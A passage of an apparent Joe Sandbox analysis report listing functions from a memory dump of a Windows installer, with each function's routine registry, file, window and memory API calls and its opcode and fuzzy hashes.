Opcode ID: 7c674279de04d575b201b80dd7d27308a15b9831806c0875c4ebb08a754ba4da
Instruction ID: 9f8d8e903d06484b85b597de6eb29e8b1ae332426fce2fadbe533b90cf17b58b
Opcode Fuzzy Hash: 7c674279de04d575b201b80dd7d27308a15b9831806c0875c4ebb08a754ba4da
Instruction Fuzzy Hash: 38E06D713016043FD710AA2A9C85F5BBADCDF98366F10403AB908EB392D978DD0186A9

Uniqueness

Uniqueness Score: -1.00%

Function 0046A8E8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,004950AC,00000004,00000001,?,0046AF1B,?,?,00000000,0046B003,?,_is1,?), ref: 0046A8FB

Strings

NoModify, xrefs: 0046A8F9

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Value
String ID: NoModify
API String ID: 3702945584-1699962838
Opcode ID: 7eb7c7e6cb67b214b7fefeacd9b811682ceea12d2a12e6196767648bea257352
Instruction ID: 3fa285531c513fb9f209240a3363212c8c226bbd47a131a1ec4299046806267d
Opcode Fuzzy Hash: 7eb7c7e6cb67b214b7fefeacd9b811682ceea12d2a12e6196767648bea257352
Instruction Fuzzy Hash: DAE04FB0640704BFEB04DB55CD4AF6B77ACDB48710F104059BA08EB291EA74FE00CA69

Uniqueness

Uniqueness Score: -1.00%

Function 0042DC54 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

Strings

System\CurrentControlSet\Control\Windows, xrefs: 0042DC6E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Open
String ID: System\CurrentControlSet\Control\Windows
API String ID: 71445658-1109719901
Opcode ID: cac79e148e5d1637301d0cd401e0a8768c8b40d51dfb76d9d00be79e5a4099f3
Instruction ID: fabb803f5ff523eeab3b7a035bb747b9213277980d9d81731b2bf545c5070290
Opcode Fuzzy Hash: cac79e148e5d1637301d0cd401e0a8768c8b40d51dfb76d9d00be79e5a4099f3
Instruction Fuzzy Hash: EDD0C772910128BBDB10DA89DC41DF7775DDB59760F54401AFD0497141C1B4EC5197F4

Uniqueness

Uniqueness Score: -1.00%

Function 0042DA38 Relevance: 3.1, APIs: 2, Instructions: 113registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,0042DB70), ref: 0042DA74
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,70000000,?,?,00000000,?,00000000,?,00000000,0042DB70), ref: 0042DAE4

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: fe899f6043c7f770a4508ac600d0d0e70af19fa3b1a52c17f713553a047210da
Instruction ID: de7305fe23da407263f6a21fe748e6d6d926aae016943a7179aec9e2dd5a457b
Opcode Fuzzy Hash: fe899f6043c7f770a4508ac600d0d0e70af19fa3b1a52c17f713553a047210da
Instruction Fuzzy Hash: 4F417171E04129AFDF10DF91D891BAFBBB8EB01704F918466E810B7240D778BE04CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0042DCF8 Relevance: 3.1, APIs: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegEnumKeyExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,0042DDF6,?,?,00000008,00000000,00000000,0042DE23), ref: 0042DD8C
RegCloseKey.ADVAPI32(?,0042DDFD,?,00000000,00000000,00000000,00000000,00000000,0042DDF6,?,?,00000008,00000000,00000000,0042DE23), ref: 0042DDF0

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseEnumOpen
String ID:
API String ID: 1332880857-0
Opcode ID: ea84ca3d7e1f6c1c0b6d56cbe1a01e231d4ee03520b80429029a0b90aff89d77
Instruction ID: 8750a336c872ea863c0e9609c16c650b162605484654b044cfb671e23e380797
Opcode Fuzzy Hash: ea84ca3d7e1f6c1c0b6d56cbe1a01e231d4ee03520b80429029a0b90aff89d77
Instruction Fuzzy Hash: D031B370F046496FDB14DFA6DC42BAFBBB9EB48304F90407BE400F7281D6785A01CA29

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF38 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,00000000,0000000A), ref: 0040AF52
FreeResource.KERNEL32(00000000,00400000,00000000,0000000A,F0E80040,00000000,?,?,0040B0AF,00000000,0040B0C7,?,?,?,00000000), ref: 0040AF63

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Resource$FindFree
String ID:
API String ID: 4097029671-0
Opcode ID: 4a3d0bcc4be787f81902a26f6412a4ca12b3141026bcd8183d147badd2f1fda4
Instruction ID: b3b639975b52532719f451a44c4ce50818db8a334c2074d500fa8c69fc4aeb59
Opcode Fuzzy Hash: 4a3d0bcc4be787f81902a26f6412a4ca12b3141026bcd8183d147badd2f1fda4
Instruction Fuzzy Hash: 4E01F2B1704300AFE710EF69DC92E1A77EDDB897187118076FA00EB3D0DA79AC11966A

Uniqueness

Uniqueness Score: -1.00%

Function 0041EE14 Relevance: 3.0, APIs: 2, Instructions: 49threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041EE63
73A25940.USER32(00000000,0041EDC4,00000000,00000000,0041EE80,?,00000000,0041EEB7,?,0042E804,?,00000001), ref: 0041EE69

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: A25940CurrentThread
String ID:
API String ID: 2655091166-0
Opcode ID: 45cd012e44c1ea1951e100f055d23ec2744ac20cc53ecf2ddac386a9fa93ee21
Instruction ID: 841e8cf9215cf9d4f8ef4a1d843f5d233028b5bef1f8e83ef409b09beadc9532
Opcode Fuzzy Hash: 45cd012e44c1ea1951e100f055d23ec2744ac20cc53ecf2ddac386a9fa93ee21
Instruction Fuzzy Hash: 6F015B78A04704BFD701CF66EC11956BBE8E78E720B22887BE804D36A0E6385A10DE18

Uniqueness

Uniqueness Score: -1.00%

Function 00451604 Relevance: 3.0, APIs: 2, Instructions: 48fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 00451646
GetLastError.KERNEL32(00000000,00000000,00000000,0045166C), ref: 0045164E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorFileLastMove
String ID:
API String ID: 55378915-0
Opcode ID: c0091c7478651bb023fdc3e57b8347735b5c978529b19831f608ec334460ef2a
Instruction ID: 57412c2de2bde2b2a9805fafeac613dae152aa12b64c6f91c1867b3f37f776c5
Opcode Fuzzy Hash: c0091c7478651bb023fdc3e57b8347735b5c978529b19831f608ec334460ef2a
Instruction Fuzzy Hash: BF01FE71B046446BCB10DF795C4159EB7ECDB48715750457BFC04E3752D6784E04855C

Uniqueness

Uniqueness Score: -1.00%

Function 004510F4 Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00451153), ref: 0045112D
GetLastError.KERNEL32(00000000,00000000,00000000,00451153), ref: 00451135

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 9df6799d2deb5604f29dc944684a2a8f5f943dbd13ec3aef100c12e22da0ad7e
Instruction ID: 2e99f9ab552fbc56df806c3ed4a11eaf09234a16047ee46c2fb58af4c34436b5
Opcode Fuzzy Hash: 9df6799d2deb5604f29dc944684a2a8f5f943dbd13ec3aef100c12e22da0ad7e
Instruction Fuzzy Hash: F1F02871A44604ABCB00DFB5AC42A9EB7E8DB0D715B1145F7FD04E3792E6394E048598

Uniqueness

Uniqueness Score: -1.00%

Function 0045128C Relevance: 3.0, APIs: 2, Instructions: 42fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000,00000000,004512E9,?,-00000001,?), ref: 004512C3
GetLastError.KERNEL32(00000000,00000000,004512E9,?,-00000001,?), ref: 004512CB

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: f8db7b56bf8a9a54d59ee2d7b5184a4b5376af573ae6214083b0e3b1e2c70d75
Instruction ID: bd8feaa310c53350912bac505fe5cd46c6aff24ad7297d0b96d1d9052aedfe22
Opcode Fuzzy Hash: f8db7b56bf8a9a54d59ee2d7b5184a4b5376af573ae6214083b0e3b1e2c70d75
Instruction Fuzzy Hash: 12F0C871E04608ABCF00DFB59C4259EB7ECDB48715B5085F7FC04E3652E6385E14859C

Uniqueness

Uniqueness Score: -1.00%

Function 00451464 Relevance: 3.0, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,004514C3,?,?,00000000), ref: 0045149D
GetLastError.KERNEL32(00000000,00000000,004514C3,?,?,00000000), ref: 004514A5

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: e17b5db4e343fd94e30e534fa130a123d661becf893d2ac77d3be9b7813e3ada
Instruction ID: d7471e736b24b3bb5787cc7ba159720b7e0b567afb63d73ad787c716b5a8a183
Opcode Fuzzy Hash: e17b5db4e343fd94e30e534fa130a123d661becf893d2ac77d3be9b7813e3ada
Instruction Fuzzy Hash: 80F0C871A04748ABCB10DFA59C4199EB3E8DB4A72676047B7FC14E3692E6385E048598

Uniqueness

Uniqueness Score: -1.00%

Function 004231AC Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F00), ref: 004231B9
LoadCursorA.USER32(00000000,00000000), ref: 004231E3

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: aae096a89314637c6453d25c5342f24cc030d518ad25ac5b3f1f31990d67ac6e
Instruction ID: 4f47f79916221551be92d6970dee20b840cac536ee7260014ee3ac6489712308
Opcode Fuzzy Hash: aae096a89314637c6453d25c5342f24cc030d518ad25ac5b3f1f31990d67ac6e
Instruction Fuzzy Hash: C9F0A7117001145BD6205D3E6CC1D3A72688F87736B61033BFE2AD72D1C62E2D51426D

Uniqueness

Uniqueness Score: -1.00%

Function 0042E1F0 Relevance: 3.0, APIs: 2, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008000), ref: 0042E1FA
LoadLibraryA.KERNEL32(00000000,00000000,0042E244,?,00000000,0042E262,?,00008000), ref: 0042E229

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 47d034d6c104ad3889763985cd5d076ad7b368865af99a999868f5179706add0
Instruction ID: 2bd629673230950b16c4bb4544665cc4d3578012b9e0763c9fae70ecea85f9d4
Opcode Fuzzy Hash: 47d034d6c104ad3889763985cd5d076ad7b368865af99a999868f5179706add0
Instruction Fuzzy Hash: 31F08270714744FEDF019F779C6282BBBECE74DB1479249B6F800A2691E63C5810C939

Uniqueness

Uniqueness Score: -1.00%

Function 0044FDD0 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000002,?,?,0046BB71,?,00000000), ref: 0044FDE6
GetLastError.KERNEL32(?,00000000,?,00000002,?,?,0046BB71,?,00000000), ref: 0044FDEE

Part of subcall function 0044FB8C: GetLastError.KERNEL32(0044F9A8,0044FC4E,?,00000000,?,00491CE4,00000001,00000000,00000002,00000000,00491E45,?,?,00000005,00000000,00491E79), ref: 0044FB8F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 6fde208f1bbd2e8b1a27b48321887b78cc6f72325f42f484ac007055b8b6af44
Instruction ID: 60b10378e44b0f0defca91e9e4490efccb0b8310a6ae63c26c4d70013a2aa3fa
Opcode Fuzzy Hash: 6fde208f1bbd2e8b1a27b48321887b78cc6f72325f42f484ac007055b8b6af44
Instruction Fuzzy Hash: FEE012F53056016BFB10EA7599C1F3B22D8DB48314F10447AB545CF186D674DC098B35

Uniqueness

Uniqueness Score: -1.00%

Function 00406274 Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32 ref: 00406276
GlobalFix.KERNEL32(00000000), ref: 0040627C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Global$Alloc
String ID:
API String ID: 2558781224-0
Opcode ID: 3aab631d28e9500c64151c0aeb9b91af43aad549cba5a5fa87d1f146672bdb4f
Instruction ID: 0263706b80ae8aebac4b2aeda69df254121a1764ed820e2db5cbcbfbef09bb73
Opcode Fuzzy Hash: 3aab631d28e9500c64151c0aeb9b91af43aad549cba5a5fa87d1f146672bdb4f
Instruction Fuzzy Hash: 3D9002C4C10B01A4DC0432B24C0BC3F0C2CD8C072C3C0486F7018B6183883C8800083C

Uniqueness

Uniqueness Score: -1.00%

Function 004014E4 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017ED), ref: 00401513
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017ED), ref: 0040153A

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1bcf32e1270a55b637581478727a2e9913153c6ccf7aad1aa7fae9fef5c4f448
Instruction ID: 19192df4380cdbc1205a3ed9b24420002ad268da67895c40ec756cea1f38d7a4
Opcode Fuzzy Hash: 1bcf32e1270a55b637581478727a2e9913153c6ccf7aad1aa7fae9fef5c4f448
Instruction Fuzzy Hash: 1EF0A772B0073067EB60596A4C81F5359C49FC5798F154076FD0DFF3E9D6B58C0142A9

Uniqueness

Uniqueness Score: -1.00%

Function 00478A5C Relevance: 1.6, APIs: 1, Instructions: 128windowCOMMON

Download Yara Rule

APIs

SendNotifyMessageA.USER32(00020420,00000496,00002711,00000000), ref: 00478C14

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: MessageNotifySend
String ID:
API String ID: 3556456075-0
Opcode ID: dd11d05620da802d8bb77eb810d1a1e8a62731b247d417d0c288434990103d14
Instruction ID: e9f93c3131ab9aed4d7988b9751f139f8c14b39f52ecba7056dfc34498fb85c2
Opcode Fuzzy Hash: dd11d05620da802d8bb77eb810d1a1e8a62731b247d417d0c288434990103d14
Instruction Fuzzy Hash: 0441A6746010008BC701FF66EC85A8B7BA5AB94309B65C57BB4049F3A7CA3CED478B5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041FB0C Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

SetScrollInfo.USER32(00000000,?,?,00000001), ref: 0041FBA9

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: InfoScroll
String ID:
API String ID: 629608716-0
Opcode ID: 50e1310ba0544b59a0555e2be0f3aefd4cf1699031129a7841ddf0d9dd467a2f
Instruction ID: 884c2cb002146e47c45dd1875db58eae66db6a4caaf859e9ca4b80fd75174b4c
Opcode Fuzzy Hash: 50e1310ba0544b59a0555e2be0f3aefd4cf1699031129a7841ddf0d9dd467a2f
Instruction Fuzzy Hash: DD2130716087456FC340DF39D840696BBE4BB48344F148A3EA098C3341D774E99ACBD6

Uniqueness

Uniqueness Score: -1.00%

Function 00467FB0 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0041EE14: GetCurrentThreadId.KERNEL32 ref: 0041EE63
Part of subcall function 0041EE14: 73A25940.USER32(00000000,0041EDC4,00000000,00000000,0041EE80,?,00000000,0041EEB7,?,0042E804,?,00000001), ref: 0041EE69

SHPathPrepareForWriteA.SHELL32(00000000,00000000,00000000,00000000,00000000,0046800E,?,00000000,?,?,0046821B,?,00000000,0046825A), ref: 00467FF2

Part of subcall function 0041EEC8: IsWindow.USER32(?), ref: 0041EED6
Part of subcall function 0041EEC8: EnableWindow.USER32(?,00000001), ref: 0041EEE5

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$A25940CurrentEnablePathPrepareThreadWrite
String ID:
API String ID: 390483697-0
Opcode ID: 1916fb52c999032ee8c755ca1a905755ac568ed81d39199cf5bb64b11a61d8f2
Instruction ID: 14fc102064ef3ab447e4390d65f6ef6ce5acf5f288e443c002039df4b727e1a7
Opcode Fuzzy Hash: 1916fb52c999032ee8c755ca1a905755ac568ed81d39199cf5bb64b11a61d8f2
Instruction Fuzzy Hash: 1AF0E975208300BFE7059FB2EC16B1677E8E349725F62087FF404971D0EA795844D51D

Uniqueness

Uniqueness Score: -1.00%

Function 00440C28 Relevance: 1.5, APIs: 1, Instructions: 36fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00440C3F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction ID: 8982111d837b22a654d5e287c7045eba67879d0a6afc285262999d3c1c57c6fe
Opcode Fuzzy Hash: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction Fuzzy Hash: 51F06234105109DF9F2CCF58D0E59AF7761EB45700B2085AFE60787350CA34AD20DA59

Uniqueness

Uniqueness Score: -1.00%

Function 004164C0 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(?,?,?,?,?,?,?,?,?,00000000,00400000,?), ref: 004164F5

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 2af4b48136c97ef475e2d548a532a987733a71f7bd8abfe4e609d79a0b30ebbf
Instruction ID: 34aaedb761569f87127437b87f660ad39376ae005fde3180b2cf9fb4127eef57
Opcode Fuzzy Hash: 2af4b48136c97ef475e2d548a532a987733a71f7bd8abfe4e609d79a0b30ebbf
Instruction Fuzzy Hash: A7F013B2200510AFDB94CF9CD9C0F9373ECEB0C210B0881A6FA08CF24AD220EC108BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00414924 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 0041495F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
